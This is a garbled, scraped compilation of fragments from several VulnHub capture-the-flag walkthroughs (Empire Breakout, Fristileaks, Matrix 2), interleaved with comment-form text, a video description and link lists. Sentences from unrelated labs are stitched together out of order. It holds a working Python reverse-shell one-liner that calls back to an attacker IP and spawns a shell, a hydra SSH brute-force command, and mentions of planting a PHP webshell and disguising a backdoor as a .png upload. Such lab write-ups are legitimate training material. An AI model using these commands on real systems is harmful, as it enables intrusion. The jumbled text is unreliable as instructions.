We identified that these characters are used in the brainfuck programming language. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. However, when I checked the /var/backups, I found a password backup file. The difficulty level is marked as easy. Scanning target for further enumeration. So, we used the sudo l command to check the sudo permissions for the current user. We decided to enumerate the system for known usernames. The output of the Nmap shows that two open ports have been identified Open in the full port scan. https://download.vulnhub.com/empire/02-Breakout.zip. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. I am using Kali Linux as an attacker machine for solving this CTF. cronjob Doubletrouble 1 Walkthrough. So, we did a quick search on Google and found an online tool that can be used to decode the message using the brainfuck algorithm. We used the wget utility to download the file. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. the target machine IP address may be different in your case, as the network DHCP is assigning it. So at this point, we have one of the three keys and a possible dictionary file (which can again be list of usernames or passwords. Let us start the CTF by exploring the HTTP port. However, it requires the passphrase to log in. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. If you understand the risks, please download! The comment left by a user names L contains some hidden message which is given below for your reference . By default, Nmap conducts the scan only on known 1024 ports. development As the content is in ASCII form, we can simply open the file and read the file contents. In the above screenshot, we can see that we used the echo command to append the host into the etc/hosts file. Your email address will not be published. Now, We have all the information that is required. As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. We opened the target machine IP address on the browser. Sticking to the goal and following the same pattern of key files, we ran a quick check across the file system with command like find / -name key-2-of-3.txt. With its we can carry out orders. First, we tried to read the shadow file that stores all users passwords. Foothold fping fping -aqg 10.0.2.0/24 nmap We used the Dirb tool; it is a default utility in Kali Linux. Below we can see we have exploited the same, and now we are root. Just above this string there was also a message by eezeepz. So, let us open the identified directory manual on the browser, which can be seen below. Let's start with enumeration. I am using Kali Linux as an attacker machine for solving this CTF. In the above screenshot, we can see the robots.txt file on the target machine. Let's use netdiscover to identify the same. Matrix 2: Vulnhub Lab Walkthrough March 1, 2019 by Raj Chandel Today we are going to solve another Boot2Root challenge "Matrix 2". . Let us get started with the challenge. After completing the scan, we identified one file that returned 200 responses from the server. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. My goal in sharing this writeup is to show you the way if you are in trouble. 17. Please comment if you are facing the same. The target machine IP address may be different in your case, as the network DHCP is assigning it. Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. Difficulty: Intermediate python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. So, let us open the URL into the browser, which can be seen below. Command used: << hydra -L user -P pass 192.168.1.16 ssh >>. rest We identified a few files and directories with the help of the scan. walkthrough 18. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . htb The IP of the victim machine is 192.168.213.136. The same was verified using the cat command, and the commands output shows that the mentioned host has been added. remote command execution We used the cat command to save the SSH key as a file named key on our attacker machine. Note: For all of these machines, I have used the VMware workstation to provision VMs. Let us enumerate the target machine for vulnerabilities. The hydra scan took some time to brute force both the usernames against the provided word list. import os. It can be seen in the following screenshot. Likewise, there are two services of Webmin which is a web management interface on two ports. 2. Port 80 open. os.system . command we used to scan the ports on our target machine. As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. memory As usual, I checked the shadow file but I couldnt crack it using john the ripper. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. First, we need to identify the IP of this machine. Thus obtained, the clear-text password is given below for your reference: We enumerated the web application to discover other vulnerabilities or hints, but nothing else was there. sudo netdiscover -r 192.168.19./24 Ping scan results Scan open ports Next, we have to scan open ports on the target machine. blog, Capture the Flag, CyberGuider, development, Hacker, Hacking, Information Technology, IT Security, mentoring, professional development, Training, Vulnerability Management, VulnHub, walkthrough, writeups It's that time again when we challenge our skills in an effort to learn something new daily and VulnHubhas provided yet again. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. In, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. Vulnhub: Empire Breakout Walkthrough Vulnerable Machine 7s26simon 400 subscribers Subscribe 31 Share 2.4K views 1 year ago Vulnhub A walkthrough of Empire: Breakout Show more Show more. The scan command and results can be seen in the following screenshot. It will be visible on the login screen. However, in the current user directory we have a password-raw md5 file. driftingblues Now, we can easily find the username from the SMB server by enumerating it using enum4linux. Save my name, email, and website in this browser for the next time I comment. Below we can see netdiscover in action. As usual, I started the exploitation by identifying the IP address of the target. This channel is strictly educational for learning about cyber-security in the areas of ethical hacking and penetration testing so that we can protect ourselves against real hackers. we can use this guide on how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro. However, due to the complexity of the language and the use of only special characters, it can be used for encoding purposes. 4. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. hackmyvm programming As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. This completes the challenge! We used the Dirb tool for this purpose which can be seen below. 13. Also, this machine works on VirtualBox. We have enumerated two usernames on the target machine, l and kira. We have added these in the user file. 2. The scan brute-forced the ~secret directory for hidden files by using the directory listing wordlist as configured by us. Another step I always do is to look into the directory of the logged-in user. There could be hidden files and folders in the root directory. We will continue this series with other Vulnhub machines as well. The IP of the victim machine is 192.168.213.136. There was a login page available for the Usermin admin panel. To fix this, I had to restart the machine. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. file permissions Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. As we can see below, we have a hit for robots.txt. You play Trinity, trying to investigate a computer on . sshjohnsudo -l. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. So, let us rerun the FFUF tool to identify the SSH Key. Let us open each file one by one on the browser. In this case, I checked its capability. The Drib scan generated some useful results. Name: Fristileaks 1.3 Testing the password for fristigod with LetThereBeFristi! VulnHub provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration tasks. By default, Nmap conducts the scan only known 1024 ports. We can employ a web application enumeration tool that uses the default web application directory and file names to brute force against the target system. The Usermin application admin dashboard can be seen in the below screenshot. https://gchq.github.io/CyberChef/#recipe=From_Hex(Auto)From_Base64(A-Za-z0-9%2B/%3D,true)&input=NjMgNDcgNDYgN2EgNjMgMzMgNjQgNmIgNDkgNDQgNmYgNjcgNjEgMzIgNmMgNzkgNTkgNTcgNmMgN2EgNWEgNTggNWEgNzAgNjIgNDMgNDEgM2Q, In the above screenshot, we can see that we used an online website, cyber chief, to decrypt the hex string using base64 encryption. We searched the web for an available exploit for these versions, but none could be found. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. In this post, I created a file in Below we can see that we have inserted our PHP webshell into the 404 template. Hydra is one of the best tools available in Kali Linux to run brute force on different protocols and ports. The notes.txt file seems to be some password wordlist. 21. So following the same methodology as in Kioptrix VMs, lets start nmap enumeration. writable path abuse And below is the flag of fristileaks_secrets.txt captured, which showed our victory. The target machines IP address can be seen in the following screenshot. There are numerous tools available for web application enumeration. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. First, we need to identify the IP of this machine. Opening web page as port 80 is open. So lets pass that to wpscan and lets see if we can get a hit. Vulnhub Machines Walkthrough Series Fristileaks, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. We will use the FFUF tool for fuzzing the target machine. Breakout Walkthrough. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for protecting yourself and your network. This, however, confirms that the apache service is running on the target machine. Walkthrough 1. sudo netdiscover -r 10.0.0.0/24 The IP address of the target is 10.0.0.26 Identify the open services Let's check the open ports on the target. Nmap also suggested that port 80 is also opened. we have to use shell script which can be used to break out from restricted environments by spawning . This means that the HTTP service is enabled on the apache server. The IP address was visible on the welcome screen of the virtual machine. Command used: << wget http://192.168.1.15/~secret/.mysecret.txt >>. We download it, remove the duplicates and create a .txt file out of it as shown below. Although this is straightforward, this is slightly difficult for people who don't have enough experience with CTF challenges and Linux machines. The second step is to run a port scan to identify the open ports and services on the target machine. Host discovery. 3. The identified plain-text SSH key can be seen highlighted in the above screenshot. The netbios-ssn service utilizes port numbers 139 and 445. We have to identify a different way to upload the command execution shell. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. network It can be used for finding resources not linked directories, servlets, scripts, etc. Vulnhub machines Walkthrough series Mr. We downloaded the file on our attacker machine using the wget command. Instead, if you want to search the whole filesystem for the binaries having capabilities, you can do it recursively. Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. The output of the Nmap shows that two open ports have been identified Open in the full port scan. In this case, we navigated to /var/www and found a notes.txt. There are other HTTP ports on the target machine, so in the next step, we will access the target machine through the HTTP port 20000. Please remember that the techniques used are solely for educational purposes: I am not responsible if the listed techniques are used against any other targets. So, we need to add the given host into our, etc/hosts file to run the website into the browser. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. The flag file named user.txt is given in the previous image. The command used for the scan and the results can be seen below. This section is for various information that has been collected about the release, such as quotes from the webpage and/or the readme file. Here, I wont show this step. We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. Tester(s): dqi, barrebas In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. The next step is to scan the target machine using the Nmap tool. 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